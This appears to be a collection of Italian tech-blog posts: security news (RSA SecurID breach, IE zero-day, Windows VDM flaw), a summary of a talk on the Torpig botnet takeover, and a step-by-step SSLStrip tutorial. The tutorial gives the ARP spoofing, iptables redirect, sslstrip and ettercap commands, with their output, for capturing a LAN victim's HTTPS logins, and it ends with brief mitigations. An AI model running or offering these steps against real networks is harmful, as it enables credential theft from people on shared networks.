Ecco un elenco di notizie degli ultimi due mesi che reputo interessanti per il modo informatico e le ripropongo ai lettori del blog. Gli argomenti spaziano da: rilascio del kernel linux 3.0, rilascio di vmware 5, SecureID violato, Ebay acquista Magento, Skype violato, Social Network, una notizia di un mese fa su Anonymous.

• E’ stato rilasciato il kernel linux 3.0 www.kernel.org . La mail originale di Linus Torvald che annuncia il rilascio del kernel 3.0 http://lwn.net/Articles/444314 .
• Rilasciato VmWare ESXi 5 http://suretalent.blogspot.com/2011/05/vmware-esxi-50-release-features-of.html
• Lockheed Martin RSA tra i più grandi produttori di armi al mondo violata, a quanto pare è stato duplicato un token RSA SecurID. http://www.pcmag.com/article2/0,2817,2386086,00.asp evento che rende pericolosa anche le transazioni online.
• Ebay acquista Magento http://www.magentocommerce.com/blog/ebay-agrees-to-acquire-magento
• Le chiamate su skype si possono intercettare http://www.scmagazine.com.au/News/258827,how-to-intercept-skype-calls.aspx grazie al reverse engineering del protocollo http://tech.slashdot.org/story/11/06/02/1914250/Skype-Protocol-Has-Been-Reverse-Engineered durato anni. Una possibile alternativa potrebbe essere http://www.fsf.org/blogs/community/skype-replacement-projects
• Anche gli hackers di Anonymous vogliono lanciare il loro Social Network, logicamente solo notizie in completo anonimato, forse non gli è andata giù l’estromissione da Google+ , oppure per uno spirito di concorrenza con il nuovo Social Network della Microsoft annunciato in modo maldestro http://www.socl.com/. Il social di Anonymous http://anonplus.com/ in questa pagina l’annuncio http://www.examiner.com/anonymous-in-national/anonplus-the-anti-social-networkhttp-anonplus-com
• E per ultimo una notizia vecchia, il 3 giugno 2011 il team di hackers Lulz Security diffonde online la configurazione del server web di nintendo.com dopo averlo violato, la ripropongo, magari a qualcuno interessa vedere come i grossi web server vengono configurati e gli errori che si fanno, prima però una massima di qualcuno che non ricordo il nome:

Chi non conosce gli errori della Storia, è destinato a ripeterli

configurazione server web nintendo.com

Saluti

Oggi si parla di sicurezza informatica, o di insicurezza informatica dipende dai punti di vista. SSL Strip è una tecnica presentata al Black Hat DC del 2009 che rientra nella categoria dei MITM (Main in the middle). All’interno di una rete LAN, questa tecnica permette di sniffare le password provenienti da un server sicuro, HTTPS per fare un esempio. Questa tecnica risulta molto pericolosa, in quanto, se un malintenzionato riuscisse ad entrare in una qualsiasi rete LAN o rete wireless (abitazione, ufficio, ecc) potrebbe venire in possesso dei vostri account email e password di hotmail, gmail, facebook, twitter, instantempo e perfino i dati bancari. La tecnica, a grandi linee, molto semplicemente, consiste nel far in modo che il computer dell’attaccante si metta in mezzo tra il computer della vittima e il router, il computer dell’attaccante diventa un “nodo invisibile” su cui vengono veicolate tutte le informazioni. A fine articolo si abbozzeranno delle soluzioni al problema.

Configurazione di SSL Strip

Il sistema che userò per configurare gli script e i programmi è Ubuntu 10.4, per diversi motivi: i sorgenti e i comandi sono progettati per un sistema Linux; su un altro sistema non si possono fare tutte le modifiche che ci si propone di fare; sono molti anni che uso Ubuntu e lo conosco fin nei minimi particolari.

La prima operazione da fare è scaricare SSLStrip da: http://www.thoughtcrime.org/software/sslstrip/sslstrip-0.7.tar.gz

Scompattare il pacchetto, utilizzare “tar -zxvf sslstrip-0.4.tar.gz” se si sta operando da terminale.

arturu@arturu-laptop:~/Scrivania$ tar -zxvf sslstrip-0.7.tar.gz
sslstrip-0.7/
sslstrip-0.7/setup.py
sslstrip-0.7/README
sslstrip-0.7/COPYING
sslstrip-0.7/lock.ico
sslstrip-0.7/sslstrip/
sslstrip-0.7/sslstrip/StrippingProxy.py
sslstrip-0.7/sslstrip/URLMonitor.py
sslstrip-0.7/sslstrip/ServerConnectionFactory.py
sslstrip-0.7/sslstrip/__init__.py
sslstrip-0.7/sslstrip/ServerConnection.py
sslstrip-0.7/sslstrip/ClientRequest.py
sslstrip-0.7/sslstrip/SSLServerConnection.py
sslstrip-0.7/sslstrip/CookieCleaner.py
sslstrip-0.7/sslstrip.py
arturu@arturu-laptop:~/Scrivania$

Il file compresso viene estratto in una cartella, entrare nella cartella e compilare il codice sorgente con “python setup.py build” (è necessario avere installato l’interprete python)

arturu@arturu-laptop:~/Scrivania/sslstrip-0.7$ python setup.py build
running build
running build_py
creating build
creating build/lib.linux-i686-2.6
creating build/lib.linux-i686-2.6/sslstrip
copying sslstrip/ServerConnection.py -> build/lib.linux-i686-2.6/sslstrip
copying sslstrip/StrippingProxy.py -> build/lib.linux-i686-2.6/sslstrip
copying sslstrip/__init__.py -> build/lib.linux-i686-2.6/sslstrip
copying sslstrip/SSLServerConnection.py -> build/lib.linux-i686-2.6/sslstrip
copying sslstrip/ServerConnectionFactory.py -> build/lib.linux-i686-2.6/sslstrip
copying sslstrip/ClientRequest.py -> build/lib.linux-i686-2.6/sslstrip
copying sslstrip/URLMonitor.py -> build/lib.linux-i686-2.6/sslstrip
copying sslstrip/CookieCleaner.py -> build/lib.linux-i686-2.6/sslstrip
running build_scripts
creating build/scripts-2.6
copying and adjusting sslstrip/sslstrip -> build/scripts-2.6
changing mode of build/scripts-2.6/sslstrip from 644 to 755
Cleaning up...
arturu@arturu-laptop:~/Scrivania/sslstrip-0.7$

Successivamente bisogna installare tutto con il comando “sudo python setup.py install”

arturu@arturu-laptop:~/Scrivania/sslstrip-0.7$ sudo python setup.py install
[sudo] password for arturu:
running install
running build
running build_py
running build_scripts
copying and adjusting sslstrip/sslstrip -> build/scripts-2.6
running install_lib
running install_scripts
copying build/scripts-2.6/sslstrip -> /usr/local/bin
changing mode of /usr/local/bin/sslstrip to 755
running install_data
running install_egg_info
Removing /usr/local/lib/python2.6/dist-packages/sslstrip-0.6.egg-info
Writing /usr/local/lib/python2.6/dist-packages/sslstrip-0.6.egg-info
Cleaning up...
arturu@arturu-laptop:~/Scrivania/sslstrip-0.7$

Appena installato SSLStrip, bisogna procedere all’installazione di arpspoof. Arpspoof è un programma che fa credere ad un host (computer della vittima) che l’indirizzo MAC dell’attaccante è l’indirizzo MAC del router (contaminando i pacchetti arp, ma questo è un altro discorso), così facendo la vittima inizia ad inviare all’attaccante tutto il suo traffico di rete; il kernel dell’attaccante, ad eccezione per il traffico destinato alla porta 80, reindirizza tutto a $ listenPort (10000, per esempio).

Installiamo arpspoof con il comando “sudo apt-get install dsniff” e successivamente installiamo Ettercap (altro famoso tool per la cattura dei pacchetti) con il comando “sudo apt-get install ettercap”.

Adesso che abbiamo installato tutto il software si può passare all’utilizzo.

Utilizzo di SSLStrip

Da ora in poi facciamo finta che noi siamo gli attaccanti e Mario sia la nostra vittima. Come prima cosa bisogna conoscere il nostro indirizzo ip all’interno della rete LAN, da terminale digitiamo “ifconfig”

arturu@arturu-laptop:~/Scrivania/sslstrip-0.7$ ifconfig
eth0    Link encap:Ethernet  HWaddr 00:00:00:00:00:00
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:0 errors:0 dropped:0 overruns:0 frame:0
          TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
          collisioni:0 txqueuelen:1000
          Byte RX:0 (0.0 B)  Byte TX:0 (0.0 B)
          Interrupt:21
wlan0  Link encap:Ethernet  HWaddr 00:00:00:00:00:00
          indirizzo inet:10.10.100.5  Bcast:10.10.100.255  Maschera:255.255.255.0
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:41373 errors:0 dropped:0 overruns:0 frame:0
          TX packets:44774 errors:0 dropped:0 overruns:0 carrier:0
          collisioni:0 txqueuelen:1000
          Byte RX:27814338 (27.8 MB)  Byte TX:10429284 (10.4 MB)
arturu@arturu-laptop:~/Scrivania/sslstrip-0.7$

Dopo la voce HWaddr abbiamo il nostro indirizzo MAC e dopo inet il nostro indirizzo ip nella rete interna. In questo caso nella mia rete interna ho il seguente indirizzo ip 10.10.100.5 sull’interfaccia wireless, l’ethernet è disattivata; il mio MAC address è 00:00:00:00:00:00 (l’ho modificato perché non mi va di pubblicarlo).

Bisogna trovare l’indirizzo del gateway, è necessario che esso sia uguale a quello della vittima, situazione che si verifica nel 90% dei casi, digitiamo da terminale ” ip route show | grep default | awk ‘{ print $3}’ “

arturu@arturu-laptop:~/Scrivania/sslstrip-0.7$ ip route show | grep default | awk '{ print $3}'
10.10.100.254
arturu@arturu-laptop:~/Scrivania/sslstrip-0.7$

in questo caso l’indirizzo del gateway è 10.10.100.254.
Successivamente bisogna aprire tre diverse schede nella finestra del terminale, perché abbiamo bisogno di eseguire tre comandi in parallelo.
Nel primo tab eseguire “sudo arpspoof -t 10.10.100.2 10.10.100.254″, dove il primo indirizzo ip è quello della vittima e il secondo è il gateway (per trovare gli indirizzi dei computer connessi nella LAN basta utilizzare un qualsiasi scanner di rete), il risultato è simile al seguente (ho modificato i MAC address) praticamente ogni pacchetto della vittima in ogni instantempo viene fatto passare attraverso il nostro computer e inviato al router vero, e viceversa.

arturu@arturu-laptop:~/Scrivania/sslstrip-0.7$ sudo arpspoof -t 10.10.100.2 10.10.100.254
00:00:00:00:00:00 0:0:0:0:0:0 0806 42: arp reply 10.10.100.254 is-at 00:00:00:00:00:00
00:00:00:00:00:00 0:0:0:0:0:0 0806 42: arp reply 10.10.100.254 is-at 00:00:00:00:00:00
00:00:00:00:00:00 0:0:0:0:0:0 0806 42: arp reply 10.10.100.254 is-at 00:00:00:00:00:00
00:00:00:00:00:00 0:0:0:0:0:0 0806 42: arp reply 10.10.100.254 is-at 00:00:00:00:00:00
00:00:00:00:00:00 0:0:0:0:0:0 0806 42: arp reply 10.10.100.254 is-at 00:00:00:00:00:00
00:00:00:00:00:00 0:0:0:0:0:0 0806 42: arp reply 10.10.100.254 is-at 00:00:00:00:00:00
00:00:00:00:00:00 0:0:0:0:0:0 0806 42: arp reply 10.10.100.254 is-at 00:00:00:00:00:00

Nella seconda scheda eseguiamo il comando “iptables -t nat -A PREROUTING -p tcp –destination-port 80 -j REDIRECT –to-ports 1000″, serve a renderizzare le richieste dalla porta 80 alla porta 1000 del nostro computer (la porta di destinazione la possiamo cambiare a piacere, in caso fosse già utilizzata da un altro servizio).

arturu@arturu-laptop:~/Scrivania/sslstrip-0.7$ iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-ports 1000
arturu@arturu-laptop:~/Scrivania/sslstrip-0.7$

Subito dopo facciamo partire “sslstrip” e si lascia in esecuzione

arturu@arturu-laptop:~/Scrivania/sslstrip-0.7$ sslstrip
sslstrip 0.6 by Moxie Marlinspike running...

Nella terza tab facciamo partire ettercap in sniff mode con il seguente comando “sudo ettercap -Tqz”, aspettiamo che la nostra vittima digiti login e password su una connessione “sicura”, il risultato dovrebbe essere il seguente (ho modificato il mio MAC address)

arturu@arturu-laptop:~/Scrivania/sslstrip-0.7$ sudo ettercap -Tqz
[sudo] password for arturu:
ettercap NG-0.7.3 copyright 2001-2004 ALoR & NaGA
Listening on wlan... (Wireless)
  wlan0 ->	00:00:00:00:00:00      10.10.100.5     255.255.255.0
Privileges dropped to UID 65534 GID 65534...
  28 plugins
  39 protocol dissectors
  53 ports monitored
7587 mac vendor fingerprint
1698 tcp OS fingerprint
2183 known services
Starting Unified sniffing...
Text only Interface activated...
Hit 'h' for inline help

Fatto questo appena un utente tenterà di accedere ad un servizio su un server protetto, ettercap intercetterà username e password e la visualizzerà in questa ultima tab.

Utilizzo di SSLStrip secondo la documentazione

Secondo gli autori di SSLStrip l’utilizzo del tool dovrebbe essere il seguente:

• Flip your machine into forwarding mode. (echo “1″ > /proc/sys/net/ipv4/ip_forward)
• Setup iptables to redirect HTTP traffic to sslstrip. (iptables -t nat -A PREROUTING -p tcp –destination-port 80 -j REDIRECT –to-port <listenPort>)
• Run sslstrip. (sslstrip.py -l <listenPort>)
• Run arpspoof to convince a network they should send their traffic to you. (arpspoof -i <interface> -t <targetIP> <gatewayIP>)

In questo modo non sono mai riuscito a beccare una password, forse qualcun altro sarà più fortunato.

Un articolo interessante si può leggere su: http://pointnext.blogspot.com/2010/01/ssl-strip-con-ettercap.html ma ancora non ho avuto il tempo di provare.

Funziona sempre?

Dalle prove che ho fatto se la vittima lavora su una macchina Windows (ho provato soltanto con XP e Vista) l’attacco va a buon fine con qualsiasi browser. Safari su MacOsX restituisce pagina bianca, cioè non fa nessuna operazione e l’attacco non va a buon fine, ma l’utente non riceve nessuna segnalazione sul fatto che la connessione sicura è stata compromessa. Su Ubuntu utilizzando firefox o chrome si viene avvertiti che il certificato di sicurezza non è valido e l’utente può decidere di abbandonare la connessione (comunque se l’utente accetta il certificato viene restituita una pagina bianca), invece con Opera l’attacco va a buon fine.

Soluzioni

Per ora le soluzioni che mi sento di suggerire sono:

• Se è possibile, preferire il cavo alla wireless, infatti è più difficile connettersi ad una LAN con il cavo che non tramite wireless anche se è protetta;
• Aggiornare browser e Sistema Operativo sperando che venga risolto il problema (caso molto probabile in quanto questo problema è noto dal 2009);
• Consiglio di parte: utilizzare un sistema operativo più sicuro degli altri ad es: Ubuntu o MacOsX

Saluti Arturu.it

PS Come tutti hanno capito non si trattava di un articolo che parla dello “Strip” Tease. Tu lettore, se ancora cerchi questo, leggendo ancora non troverai niente, anche perché: l’articolo è finito…

Recentemente mi sto interessando di botnet, qualche giorno fa ho visto un interessante video-lezione-conferenza sul furto di botnet. Una botnet è una rete di computer collegati ad internet che fanno parte di un insieme di computer controllato da un’unica entità, il botmaster. Ciò può essere causato da falle nella sicurezza o mancanza di attenzione da parte dell’utente e dell’amministratore di sistema, per cui i computer vengono infettati da virus informatici o trojan i quali consentono ai loro creatori di controllare il sistema da remoto. I controllori della botnet possono in questo modo sfruttare i sistemi compromessi per scagliare attacchi distribuiti del tipo denial-of-service (DDoS) contro qualsiasi altro sistema in rete oppure compiere altre operazioni illecite, in taluni casi agendo persino su commissione di organizzazioni criminali. I computer che compongono la botnet sono chiamati bot (da roBOT) o zombie. Un gruppo di ricercatori presso UCSB di recente è riuscito a prendere il controllo su una parte di Torpig botnet per 10 giorni. Durante questo periodo, hanno osservato 180 mila infezioni e registrate quasi 70GB di dati raccolti che i bot. Questi dati includono le informazioni presentate da tutti i siti che la persona infetta aveva visitato, smtp, ftp, pop3, Windows, password, numeri di carta di credito e le password da parte dei manager password.

Qui ci sono i fatti più interessanti della conferenza:

Torpig utilizza una tecnica chiamata “flussante dominio” per evitare di essere arrestato, semplicemente bloccando l’IP o il nome del dominio del server del centro di controllo. L’idea è semplice – in funzione della data e ora l’algoritmo genera un nome di dominio a cui connettersi. Se il dominio viene chiuso, il bot userà semplicemente un dominio diverso, dopo qualche tempo. I ricercatori conoscendo la generazione dei nomi di domino sono stati in grado di assumere il controllo su una parte della botnet crackando l’algoritmo di generazione nome di dominio e la registrazione di alcuni dei nome di dominio da utilizzare per la comunicazione.

Successivamente, i cattivi notato che una parte della botnet è stata sottratta, rilasciano un aggiornamento software per tutti i bot che utilizzeranno un nuovo algoritmo di flusso di dominio, questi nuovi algoritmi usano gli argomenti popolari del giorno sul social network Twitter e li utilizzano per generare i nomi di dominio.Con questo nuovo algoritmo i ricercatori non erano più in grado di prevedere il dominio che sarebbe stato utilizzato il giorno successivo, bisognerebbe conoscere un giorno prima l’argomento più polare su un social network che riporta per l’80% notizie in tempo reale.

Quando i bot comunicano con il server di comando trasmettono un campo ID univoco che è stato generato dall’hardware della macchina. Questo ha permesso ai ricercatori di stimare il numero reale di computer infetti. I ricercatori hanno visto 1,2 milioni di indirizzi IP unici, ma soltanto 180.000 macchine. I bot analizzati rubavano i dati finanziari da 410 istituti finanziari (top 5: PayPal, Poste Italiane, Capital One, E * Trade, Chase), avrebbero un registro di carte di credito (prime 5 carte: Visa, Mastercard, American Express, Maestro, Discover ), e avrebbero anche rubato tutte le password dal gestore delle password dei browser.

In uno studio del 2008 Symantec ha stimato che le informazioni riguardanti le carte di credito sono vendute da 10 a 25 dollari per ogni carta nel mercato nero. Le informazioni dei conti bancari sono vendute da 10.00 a 1,000 dollari per ogni conto. L’utilizzo di questo studio ha permesso ai ricercatori di stimare, durante il periodo di 10 giorni, l’importo delle risorse finanziarie che i bots hanno raccolto sono state del valore di 83.000 a 8,3 milioni di dollari. Utilizzando varie stime dei ricercatori si è calcolato che i bot sono usati per il denial of service e la larghezza di banda totale sarebbe 17Gbps.

Dal momento che è stato Torpig a inviare tutti i dati HTTP POST e-mail al server di comando e controllo, i ricercatori hanno statistiche sulle e-mail e hanno scoperto che il 14% di tutte le email sono state lette sui posti di lavoro, il 10% ha parlava di sicurezza del computer / malware, 7% di denaro, 6% erano appassionati di sport, il 5% erano preoccupati per gli esami e la loro qualità, il 4% parlavano della ricerca di partner online. Il 28% delle persone riutilizzato la propria password su più domini. Ci sono state 173.686 password univoche.

I ricercatori hanno convertito le password in formato Unix e hanno cercato di forzarle con John the Ripper. 56.000 erano crackate in meno di 65 minuti con attacco di forza bruta, invece utilizzando un dizionario 14.000 password son bastati 10 minuti. E altri 30.000 sono state le password crackate nelle 24 ore successive. Il 58% di tutte le password sono state crackate in 24 ore.

Il video conferenza è lungo 1h 15m ed è presentato da Richard A. Kemmerer.

Rubare una botnet

Qui ci sono tutti gli argomenti della conferenza:

• [02:00] terminologia botnet – bot, botnet, server di comando e controllo, canale di controllo, botmaster.
• [03:00] Introduzione al trojan Torpig e la piattaforma Mebroot malware.
• [05:00] Come Torpig opere.
• [11:30] Torpig iniezione HTML.
• [15:00] fluxing dominio.
• [19:15] Capofila c Torpig’s & C server.
• [24:10] principi di raccolta dei dati.
• [26:00] C & C protocollo del server.
• [31:10] stima botnet di dimensioni.
• [37:00] minacce “botnet” è: il furto di informazioni finanziarie, denial of service, server proxy, furti privacy.
• [37:30] Minaccia: furto di informazioni finanziarie.
• [42:00] Threat: Denial of Service.
• [43:30] minacce: i server proxy.
• [44:20] Minaccia: furto Privacy.
• [47:00] Analisi Password.
• [50:40] punizione penale.
• [53:00] applicazione della legge.
• [58:00] Rimpatrio dei dati.
• [01:00:00] Etica.
• [01:02:00] Conclusioni.
• [01:06:00] Domande e risposte.

In Francia e Germania le autorità diffondono una nota: non usate Internet Explorer. Alla base della vicenda c’è una vulnerabilità relativa a Internet Explorer versione 6 su sistema operativo Windows XP. Lo stesso problema di sicurezza starebbe alla base del contenzioso tra Google governo cinese.

Il governo tedesco agli utenti: «Non usate Explorer»”,” Explorer, anche la Francia lancia l’allarme”. Sono questi i titoli di alcuni dei principali quotidiani online dedicati a una vicenda che merita un minimo approfondimento. Riportiamo il calendario a qualche giorno fa e per rinfrescare la memoria segnaliamo questo link dedicato alla vicenda in cui Google e Governo cinese si trovano a confrontarsi. Google ha  rilevato alcune violazioni dei propri sistemi informatici notando accessi indesiderati ad alcuni account di posta elettronica: tali caselle email sarebbero per di più riconducibili ad alcuni attivisti cinesi per i diritti umani.

Da Mountain View vengono chieste spiegazioni alle autorità cinesi con la minaccia da parte di Google di sospendere ogni attività in Cina: Google parrebbe disposta a rinunciare alle enormi opportunità di business legate ai forti tassi di crescita del mercato IT in Cina e all’elevato numero di utenti potenzialmente raggiungibile. Per il momento il governo cinese non ha dato importanti riscontri, e pure le autorità americane si sono fatte avanti per far chiarezza sull’accaduto: oltre a Google ci sarebbero altre 30 aziende fatte oggetto di attacchi informatici provenienti dalla Cina. La vicenda è ancora tutta da chiarire nei suoi dettagli e, forse, ai giornali giungerà solo una parte di tali informazioni.

Questi appena descritti sono in estrema sintesi i fatti di cronaca a cui però si deve aggiungere un dettaglio essenziale e importante per poter comprendere i titoli dei quotidiani citati in apertura. Stando a quanto identificato da molti esperti di sicurezza informatica, tra i quali i tecnici di McAfee, alla base degli attacchi subiti da Google e dai già citati account Gmail vi sarebbe una vulnerabilità di alcune versioni datate di Internet Explorer.

Sarebbe proprio la vulnerabilità di Internet Explorer ad aver scatenato un putiferio in Europa tanto da indurre il Bundesamt fuer Sicherheit in der Informationstechnik – l’Ufficio Federale responsabile per la sicurezza informatica – a diffondere un comunicato nel quale invita a non usare Internet Explorer senza se e senza ma. Anche disattivando ActiveX e impostando il più alto livello di sicurezza Internet Explorer nelle versioni 6, 7 e 8 viene definito insicuro da BSI e gli utenti sono invitati a utilizzare browser alternativi.

Alla presa di posizione delle autorità tedesche fa eco un’analoga dichiarazione del CERTA (Centre d’Expertise Gouvernemental de Réponse et de Traitement des Attaques informatique) francese. Il messaggio è in sostanza il medesimo: utilizzate un browser alternativo.

A tutte queste dichiarazioni si contrappongono altre prese di posizione non così convinte della pericolosità di Internet Explorer, o meglio non convinte che altre alternative possano offrire condizioni di utilizzo veramente sicure all’utente finale. Sophos prende chiaramente posizione a fianco di Microsoft e nel blog di Graham Cluley – senior technology consultant – si legge:

Ora, in un contraddittorio è lecito dare la parola all’accusa – e lo abbiamo fatto indicando gli annunci fatti dalle autorità francesi e tedesche – ma anche alla difesa, e lo facciamo segnalandovi questo breve video diffuso poche ore fa da Microsoft Italia.

Internet Explorer -

Il video per ovvie ragioni non scende troppo nel dettaglio ma da parte Microsoft vengono citate ulteriori fonti di approfondimento. Cerchiamo ora di capire meglio il problema relativo a Internet Explorer e alla vicenda nel suo complesso per poi valutare in maniera autonoma l’accaduto.

Dalle caratteristiche pubblicate per sfruttare la vulnerabilità di Internet Explorer 6 – Microsoft indica solo questa versione affetta dalla vulnerabilità in oggetto- gli utenti che hanno subito un attacco sono stati indotti a visitare una particolare pagina web appositamente creata. Nel caso specifico potrebbe essere stata usata una email, insomma Microsoft sottolinea la natura mirata degli attacchi ai singoli utenti e non all’infrastruttura di Google.

A ciò nella ricostruzione di Redmond viene fatto notare un dato di fatto non trascurabile: la vulnerabilità è sfruttabile su sistema operativo Microsoft Windows XP e con Internet Explorer versione 6. Microsoft sottolinea come entrambi i prodotti siano vetusti – vengono definiti paleolitici dal blog di Feliciano Intini – sottolineando come oggi sia disponibile Windows 7 e Internet Explorer 8. Per la versione del browser ci sentiamo di condividere la posizione di Microsoft mentre per quanto riguarda il sistema operativo è inutile sottolineare quanto Windows XP sia tutt’oggi diffuso, soprattutto in molte aziende. Per Microsoft pare non esserci alcun allarme straordinario, anzi i vari esponenti approfittano della situazione per sensibilizzare su un aspetto fondamentale per la sicurezza: l’aggiornamento del software e del sistema operativo.

Un dettaglio però non ci tornava e abbiamo voluto chiedere diretto riscontro a Feliciano Intini -chief security advisor di Microsoft Italia -. Nelle note delle autorità tedesche e francesi vengono indicati come potenzialmente vulnerabili anche Internet Explorer 7 e 8, mentre dalle informazioni diffuse da Microsoft il problema parrebbe limitato alla sola versione 6 in abbinamento a Windows XP. Inutile sottolineare che su molti altri articoli pubblicati non venga nemmeno indicata la versione di Internet Explorer. Questa omissione farebbe quindi supporre che tutti gli utenti abituati all’uso di tale software siano in pericolo.

Siamo quindi andati alla fonte rivolgendo il quesito all’esperto di Microsoft. La situazione più pericolosa si concretizza su PC dotati di sistemi operativi Microsoft Windows XP in abbinamento Internet Explorer versione 6. La stessa vulnerabilità è presente in Internet Explorer 7 e 8 ma con sistema operativo più recente preoccupa di meno se l’utente abilità la modalità IE Protected Mode e DEP. Al momento è nota l’esistenza di attacchi a sistemi dotati di Internet Explorer 6 e Windows XP e pare più complicato sfruttare le medesime vulnerabilità su sistemi più aggiornati. Detto ciò, e Microsoft stessa lo ammette, il problema va risolto e anche in fretta.

Nell’apertura di questo articolo abbiamo descritto una situazione molto seria e problematica, soprattutto in relazione alla diffusione di Internet Explorer e al potenziale bacino di utenti a rischio. Nell’analisi dei fatti il tutto risulta più limitato e circostanziato. Sia chiaro: la vulnerabilità in Internet Explorer 6 rimane e al momento è meno preoccupante nelle versioni 7 e 8, andrà risolta magari senza aspettare il prossimo patch day.

Stando alle attuali informazioni disponibili e in attesa di eventuali sviluppi,  la sitazione diviene pericolosa in un contesto nel quale l’utente o chi per esso non sia in grado di gestire correttamente il proprio sistema omettendo poche e semplici abitudini che ormai da anni descriviamo: software e sistema operativo aggiornato con le ultime patch in abbinamento a suite per la sicurezza completa (il solo antivirus potrebbe non bastare!), magari non sviluppata da Microsoft ma da terze parti in virtù di una maggiore possibilità di scelta.

In apertura abbiamo citato enti francesi e tedeschi e pare doveroso segnalare il punto di vista del CERT-SPC -unità di prevenzione e gestione degli incidenti informatici del Sistema Pubblico di Connettività – italiano che in una nota diffusa qui riporta:

In relazione alla vulnerabilità di tipo “zero-day” che interessa Internet Explorer già  osservata dal CERT-SPC dallo scorso 15 Gennaio ed illustrata nella sezione bollettini, si rappresenta che in ambito SPC al momento non sono stati segnalati incidenti riconducibili alla stessa. Si evidenzia però il rischio associato alla possibilità di sfruttare tale vulnerabilità in associazione ad iniziative di spam, ai risultati proposti  dai motori di ricerca ed ai collegamenti presenti sui social network, inerenti eventi di particolare ed attuale interesse collettivo, quali il recente sisma  che ha devastato HAITI o all’attenzione mediatica sull’uscita del film AVATAR. Tali circostanze possono essere utilizzate dagli attaccanti per indurre gli utenti a visitare pagine web appositamente realizzate per inoculare malware o la sfruttare anche questa vulnerabilità in Explorer.
…Microsoft, infine, in una nota preventivamente anticipata al CERT-SPC ha indicato anche l’ipotesi di un aggiornamento di sicurezza di tipo “OUT OF BAND” ovvero straordinario rispetto al normale ciclo di rilascio del software correttivo appena avvenuto per il mese di Gennaio.

Fonte

In tutte le versioni ancora supportate di Windows esiste una vulnerabilità che, secondo il suo scopritore, se ne sta lì nascosta da almeno 17 anni. Nel frattempo BigM si industria per sanare IE.

Mentre Microsoft è ancora impegnata nello sviluppo di una patch per Internet Explorer che risolva la falla recentemente utilizzata negli attacchi a Google, un esperto di sicurezza ha divulgato i dettagli di una vulnerabilità apparentemente celata in Windows dalla “notte dei tempi”, ovvero dall’anno 1993. Ad esserne interessate sarebbero tutte le versioni a 32 bit di Windows a partire da NT, inclusi XP, Server 2003, Vista, Server 2009 e 7.

Tavis Ormandy, scopritore della falla e information security engineer presso Google, spiega in questo advisory che il problema è legato alla Virtual DOS Machine, e può essere sfruttato per iniettare del codice direttamente nel kernel di Windows: questo potrebbe consentire a un aggressore o a un malware di prendere il controllo delle aree più “sensibili” e protette del sistema, e installare ad esempio key logger o rootkit.

The Register riporta che la società Immunity di Miami ha già aggiunto l’exploit della vulnerabilità al proprio software di auditing indirizzato ai professionisti della sicurezza. La società afferma che l’exploit è stato testato con successo su tutte le versioni di Windows ad eccezione della 3.1.

In attesa che Microsoft rilasci una patch, Ormandy afferma che è possibile proteggersi della debolezza disattivando i sottosistemi MSDOS e WOWEXEC di Windows: per farlo è necessario modificare alcune voci di registro così come spiegato in questo articolo del supporto tecnico di Microsoft. Va rimarcato che disattivando questi due componenti si perde la compatibilità con i vecchi programmi a 16 bit (quelli per DOS e Windows 3.1), ma per la stragrande maggioranza degli utenti questo non dovrebbe essere un problema.

Ormandy sostiene di aver segnalato il bug a Microsoft nel giugno del 2009, tenendone nel frattempo segreti i dettagli: non avendo ricevuto da BigM alcuna risposta, e avendo constatato che il baco è ancora aperto, negli scorsi giorni si è deciso a rendere il problema di pubblico dominio insieme a un exploit dimostrativo.

Contattata da The Register, Microsoft ha fatto sapere, per bocca di un suo portavoce, di stare vagliando l’advisory di Ormandy e di non essere a conoscenza di attacchi che sfruttino questa vulnerabilità.

Ieri il big di Redmond ha anche annunciato che la recente falla di Internet Explorer verrà corretta appena possibile, e al di fuori del suo ordinario ciclo di pubblicazione dei bollettini di sicurezza. Sui rischi e la portata di tale vulnerabilità Microsoft Italia ha recentemente minimizzato.

“Pur non essendo mutato in modo significativo lo scenario di rischio (nel senso che gli attacchi noti sono rimasti quelli mirati e circoscritti, ed efficaci solo su sistemi con IE6), il clamore mediatico e la confusione da parte dei clienti che ne è derivata (vedi dubbi tra versioni impattate dalla vulnerabilità – praticamente tutte – e quella seriamente impattate da eventuali attacchi intrusivi – solo IE6), anche relativamente alle contromisure temporanee di difesa (vedi abilitazione del DEP), hanno spinto verso la decisione di un rilascio in modalità Out-of-band (OOB)” ha scritto ieri Feliciano Intini, chief security advisor di Microsoft Italia, sul suo blog.

Fonte

L’ultimo aggiornamento rilasciato da Microsoft per ovviare a problemi di sicurezza potrebbe causare all’utente finale problemi ben più seri, secondo quanto riportato da Pc World. In molti casi, infatti, l’installazione dell’aggiornamento causerebbe un diffuso problema di schermo nero che rende il PC inutilizzabile.

Secondo quanto affermato da Mel Morris, CEO e CTO di Prevx, una società inglese specializzata in sicurezza, il problema colpirebbe in modo uguale Windows 7, Vista e XP.

Prevx aveva già ricevuto alcuni campanelli di allarme nel corso della passata settimana, attraverso alcune segnalazioni pervenute dagli utenti. Microsoft, avrebbe infatti, con l’ultimo aggiornamento, apportato dei cambiamenti all’Access Control List (ACL), una lista di permessi per gli utenti loggati. L’ACL interagisce con le chiavi di registro, creando alcuni componenti visibili sul desktop, come la sidebar. L’aggiornamento, a quanto pare, modifica in modo errato queste chiavi di registro, causando il problema che dà come risultato il simpatico schermo nero.

Mel Morris è perentorio quando afferma: “if you’ve got this problem, it’s massively debilitating”, un problema c’è insomma e nemmeno di poco conto.

Prevx spiega nei dettagli sul proprio blog il problema che causerebbe l’ultimo aggiornamento di Microsoft che, lo ricordiamo, è stato distribuito dal 10 di Novembre per risolvere vulnerabilità in Windows, Windows Server, Excel e Word. Mel Morris offre inoltre, a questo indirizzo, una patch che potrebbe riuscire a risolvere il problema.

Fonte

Oggi ho deciso di parlare di Stack Overflow. In molti stanno pensando “nooo ancora, e basta, non ci capisco niente di quelle cose che scrive”. Vediamo stavolta di fare un po teoria, molto spicciola. Poi cercherò di rispondere ad alcune domande che qualcuno mi ha posto:
- che cos’è l’Overflow?
- come lo trovo?
- ma dopo che trovo sto Overflow che ci faccio?
- come funziona e funziona sempre?
- bisogna utilizzare particolari programmi?
- mi possono arrestare?

